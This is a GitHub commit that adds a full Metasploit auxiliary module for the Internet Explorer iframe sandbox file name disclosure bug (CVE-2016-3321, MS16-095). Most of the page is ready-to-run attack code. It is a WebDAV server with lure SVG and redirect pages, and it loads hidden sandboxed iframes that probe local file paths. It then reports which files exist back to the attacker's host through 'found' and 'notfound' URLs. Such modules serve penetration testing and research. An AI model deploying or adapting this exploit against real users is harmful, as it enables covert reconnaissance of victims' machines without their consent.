Skip to content

Commit 79a84fb

Browse files
Yorick KosterYorick Koster
authored andcommitted
Internet Explorer iframe sandbox local file name disclosure vulnerability
It was found that Internet Explorer allows the disclosure of local file names. This issue exists due to the fact that Internet Explorer behaves different for file:// URLs pointing to existing and non-existent files. When used in combination with HTML5 sandbox iframes it is possible to use this behavior to find out if a local file exists. This technique only works on Internet Explorer 10 & 11 since these support the HTML5 sandbox. Also it is not possible to do this from a regular website as file:// URLs are blocked all together. The attack must be performed locally (works with Internet zone Mark of the Web) or from a share.
1 parent a848d39 commit 79a84fb

File tree

1 file changed

+380
-0
lines changed

1 file changed

+380
-0
lines changed
Lines changed: 380 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,380 @@
1+
require 'msf/core'
2+
3+
class MetasploitModule < Msf::Auxiliary
4+
5+
include Msf::Exploit::Remote::HttpServer::HTML
6+
def initialize(info={})
7+
super(update_info(info,
8+
'Name' => 'Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability',
9+
'Description' => %q{
10+
It was found that Internet Explorer allows the disclosure of local file names.
11+
This issue exists due to the fact that Internet Explorer behaves different for
12+
file:// URLs pointing to existing and non-existent files. When used in
13+
combination with HTML5 sandbox iframes it is possible to use this behavior to
14+
find out if a local file exists. This technique only works on Internet Explorer
15+
10 & 11 since these support the HTML5 sandbox. Also it is not possible to do
16+
this from a regular website as file:// URLs are blocked all together. The attack
17+
must be performed locally (works with Internet zone Mark of the Web) or from a
18+
share.
19+
},
20+
'License' => MSF_LICENSE,
21+
'Author' => 'Yorick Koster',
22+
'References' =>
23+
[
24+
['CVE', '2016-3321'],
25+
['MSB', 'MS16-095'],
26+
['URL', 'https://securify.nl/advisory/SFY20160301/internet_explorer_iframe_sandbox_local_file_name_disclosure_vulnerability.html'],
27+
],
28+
'Platform' => 'win',
29+
'Targets' =>
30+
[
31+
[ 'Internet Explorer', {} ],
32+
],
33+
'DisclosureDate' => "Aug 9 2016",
34+
'DefaultTarget' => 0))
35+
36+
register_options(
37+
[
38+
OptString.new('SHARENAME', [ true, "The name of the top-level share.", "falcon" ]),
39+
OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
40+
OptString.new('URIPATH', [true, "The URI to use (do not change).", "/" ]),
41+
OptString.new('PATHS', [ true, "The list of files to check (comma separated).", "Testing/Not/Found/Check.txt, Windows/System32/calc.exe, Program Files (x86)/Mozilla Firefox/firefox.exe, Program Files/VMware/VMware Tools/TPAutoConnSvc.exe" ]),
42+
], self.class)
43+
44+
deregister_options('SSL', 'SSLVersion', 'SSLCert') # no SSL
45+
end
46+
47+
def js
48+
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
49+
50+
%Q|function report() {
51+
if(window.location.protocol != 'file:') {
52+
try {
53+
window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html';
54+
} catch (e) { }
55+
return;
56+
}
57+
58+
var frames = document.getElementsByTagName('iframe');
59+
for(var i = 0; i < frames.length; i++) {
60+
try {
61+
if(frames[i].name == 'notfound') {
62+
frames[i].src = 'http://#{my_host}/notfound/?f=' + frames[i].src;
63+
}
64+
else {
65+
frames[i].src = 'http://#{my_host}/found/?f=' + frames[i].src;
66+
}
67+
} catch(e) { }
68+
}
69+
}|
70+
end
71+
72+
def html
73+
frames = ""
74+
datastore['PATHS'].split(',').each do |path|
75+
frames = frames + "<iframe src=\"file:///#{path.strip}\" onload=\"this.name='notfound'\" style=\"display:none;\" sandbox></iframe>"
76+
end
77+
%Q|<!DOCTYPE html>
78+
<html>
79+
<head>
80+
<script type="text/javascript">
81+
#{js}
82+
</script>
83+
</head>
84+
<body>
85+
#{frames}
86+
<script type="text/javascript">
87+
setTimeout('report();', 2000);
88+
</script>
89+
</body>
90+
</html>|
91+
end
92+
93+
def svg
94+
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
95+
%Q|<!-- saved from url=(0014)about:internet -->
96+
<svg width="100px" height="100px" version="1.1" onload="try{ location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html'; } catch(e) { }" xmlns="http://www.w3.org/2000/svg"></svg>|
97+
end
98+
99+
def is_target_suitable?(user_agent)
100+
if user_agent =~ /^Microsoft-WebDAV-MiniRedir/
101+
return true
102+
end
103+
104+
info = fingerprint_user_agent(user_agent)
105+
if info[:ua_name] == HttpClients::IE
106+
return true
107+
end
108+
109+
false
110+
end
111+
112+
def on_request_uri(cli, request)
113+
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
114+
115+
case request.method
116+
when 'OPTIONS'
117+
process_options(cli, request)
118+
when 'PROPFIND'
119+
process_propfind(cli, request)
120+
when 'GET'
121+
unless is_target_suitable?(request.headers['User-Agent'])
122+
print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 image.svg")
123+
resp = create_response(200, "OK")
124+
resp.body = svg
125+
resp['Content-Type'] = 'image/svg+xml'
126+
resp['Content-Disposition'] = 'attachment;filename=image.svg'
127+
cli.send_response(resp)
128+
end
129+
130+
case request.uri
131+
when /^\/found\/\?f=/
132+
f = URI.unescape(request.uri.gsub('/found/?f=', ''))
133+
report_note(host: cli.peerhost, type: 'ie.filenames', data: f)
134+
print_good("Found file " + f)
135+
send_response(cli, '')
136+
when /^\/notfound\/\?f=/
137+
f = URI.unescape(request.uri.gsub('/notfound/?f=', ''))
138+
print_error("The file " + f + " does not exist")
139+
send_response(cli, '')
140+
when "/"
141+
resp = create_response(200, "OK")
142+
resp.body = %Q|<html>
143+
<head>
144+
<script type="text/javascript">
145+
try {
146+
window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html';
147+
} catch (e) {
148+
blob = new Blob([atob('#{Rex::Text.encode_base64(svg)}')]);
149+
window.navigator.msSaveOrOpenBlob(blob, 'image.svg');
150+
}
151+
</script>
152+
</head>
153+
<body>
154+
</body>
155+
</html>|
156+
resp['Content-Type'] = 'text/html'
157+
cli.send_response(resp)
158+
else
159+
print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 returning landing page")
160+
send_response(cli, html)
161+
end
162+
else
163+
print_status("#{request.method} #{request.uri} => 404")
164+
resp = create_response(404, "Not Found")
165+
resp.body = ""
166+
resp['Content-Type'] = 'text/html'
167+
cli.send_response(resp)
168+
end
169+
end
170+
171+
#
172+
# OPTIONS requests sent by the WebDav Mini-Redirector
173+
#
174+
def process_options(cli, request)
175+
print_status("OPTIONS #{request.uri}")
176+
headers = {
177+
'MS-Author-Via' => 'DAV',
178+
'DASL' => '<DAV:sql>',
179+
'DAV' => '1, 2',
180+
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
181+
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
182+
'Cache-Control' => 'private'
183+
}
184+
resp = create_response(207, "Multi-Status")
185+
headers.each_pair {|k,v| resp[k] = v }
186+
resp.body = ""
187+
resp['Content-Type'] = 'text/xml'
188+
cli.send_response(resp)
189+
end
190+
191+
#
192+
# PROPFIND requests sent by the WebDav Mini-Redirector
193+
#
194+
def process_propfind(cli, request)
195+
path = request.uri
196+
print_status("PROPFIND #{path}")
197+
body = ''
198+
199+
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
200+
my_uri = "http://#{my_host}/"
201+
202+
if path !~ /\/$/
203+
204+
if path.index(".")
205+
print_status "PROPFIND => 207 File (#{path})"
206+
body = %Q|<?xml version="1.0" encoding="utf-8"?>
207+
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
208+
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
209+
<D:href>#{path}</D:href>
210+
<D:propstat>
211+
<D:prop>
212+
<lp1:resourcetype/>
213+
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
214+
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
215+
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
216+
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
217+
<lp2:executable>T</lp2:executable>
218+
<D:supportedlock>
219+
<D:lockentry>
220+
<D:lockscope><D:exclusive/></D:lockscope>
221+
<D:locktype><D:write/></D:locktype>
222+
</D:lockentry>
223+
<D:lockentry>
224+
<D:lockscope><D:shared/></D:lockscope>
225+
<D:locktype><D:write/></D:locktype>
226+
</D:lockentry>
227+
</D:supportedlock>
228+
<D:lockdiscovery/>
229+
<D:getcontenttype>application/octet-stream</D:getcontenttype>
230+
</D:prop>
231+
<D:status>HTTP/1.1 200 OK</D:status>
232+
</D:propstat>
233+
</D:response>
234+
</D:multistatus>
235+
|
236+
# send the response
237+
resp = create_response(207, "Multi-Status")
238+
resp.body = body
239+
resp['Content-Type'] = 'text/xml; charset="utf8"'
240+
cli.send_response(resp)
241+
return
242+
else
243+
print_status "PROPFIND => 301 (#{path})"
244+
resp = create_response(301, "Moved")
245+
resp["Location"] = path + "/"
246+
resp['Content-Type'] = 'text/html'
247+
cli.send_response(resp)
248+
return
249+
end
250+
end
251+
252+
print_status "PROPFIND => 207 Directory (#{path})"
253+
body = %Q|<?xml version="1.0" encoding="utf-8"?>
254+
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
255+
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
256+
<D:href>#{path}</D:href>
257+
<D:propstat>
258+
<D:prop>
259+
<lp1:resourcetype><D:collection/></lp1:resourcetype>
260+
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
261+
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
262+
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
263+
<D:supportedlock>
264+
<D:lockentry>
265+
<D:lockscope><D:exclusive/></D:lockscope>
266+
<D:locktype><D:write/></D:locktype>
267+
</D:lockentry>
268+
<D:lockentry>
269+
<D:lockscope><D:shared/></D:lockscope>
270+
<D:locktype><D:write/></D:locktype>
271+
</D:lockentry>
272+
</D:supportedlock>
273+
<D:lockdiscovery/>
274+
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
275+
</D:prop>
276+
<D:status>HTTP/1.1 200 OK</D:status>
277+
</D:propstat>
278+
</D:response>
279+
|
280+
281+
if request["Depth"].to_i > 0
282+
trail = path.split("/")
283+
trail.shift
284+
case trail.length
285+
when 0
286+
body << generate_shares(path)
287+
when 1
288+
body << generate_files(path)
289+
end
290+
else
291+
print_status "PROPFIND => 207 Top-Level Directory"
292+
end
293+
294+
body << "</D:multistatus>"
295+
296+
body.gsub!(/\t/, '')
297+
298+
# send the response
299+
resp = create_response(207, "Multi-Status")
300+
resp.body = body
301+
resp['Content-Type'] = 'text/xml; charset="utf8"'
302+
cli.send_response(resp)
303+
end
304+
305+
def generate_shares(path)
306+
share_name = datastore['SHARENAME']
307+
%Q|
308+
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
309+
<D:href>#{path}#{share_name}/</D:href>
310+
<D:propstat>
311+
<D:prop>
312+
<lp1:resourcetype><D:collection/></lp1:resourcetype>
313+
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
314+
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
315+
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
316+
<D:supportedlock>
317+
<D:lockentry>
318+
<D:lockscope><D:exclusive/></D:lockscope>
319+
<D:locktype><D:write/></D:locktype>
320+
</D:lockentry>
321+
<D:lockentry>
322+
<D:lockscope><D:shared/></D:lockscope>
323+
<D:locktype><D:write/></D:locktype>
324+
</D:lockentry>
325+
</D:supportedlock>
326+
<D:lockdiscovery/>
327+
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
328+
</D:prop>
329+
<D:status>HTTP/1.1 200 OK</D:status>
330+
</D:propstat>
331+
</D:response>
332+
|
333+
end
334+
335+
def generate_files(path)
336+
trail = path.split("/")
337+
return "" if trail.length < 2
338+
339+
%Q|
340+
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
341+
<D:href>#{path}index.html</D:href>
342+
<D:propstat>
343+
<D:prop>
344+
<lp1:resourcetype/>
345+
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
346+
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
347+
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
348+
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
349+
<lp2:executable>T</lp2:executable>
350+
<D:supportedlock>
351+
<D:lockentry>
352+
<D:lockscope><D:exclusive/></D:lockscope>
353+
<D:locktype><D:write/></D:locktype>
354+
</D:lockentry>
355+
<D:lockentry>
356+
<D:lockscope><D:shared/></D:lockscope>
357+
<D:locktype><D:write/></D:locktype>
358+
</D:lockentry>
359+
</D:supportedlock>
360+
<D:lockdiscovery/>
361+
<D:getcontenttype>application/octet-stream</D:getcontenttype>
362+
</D:prop>
363+
<D:status>HTTP/1.1 200 OK</D:status>
364+
</D:propstat>
365+
</D:response>
366+
|
367+
end
368+
369+
def gen_timestamp(ttype=nil)
370+
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
371+
end
372+
373+
def gen_datestamp(ttype=nil)
374+
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
375+
end
376+
377+
def run
378+
exploit
379+
end
380+
end

0 commit comments

Comments
 (0)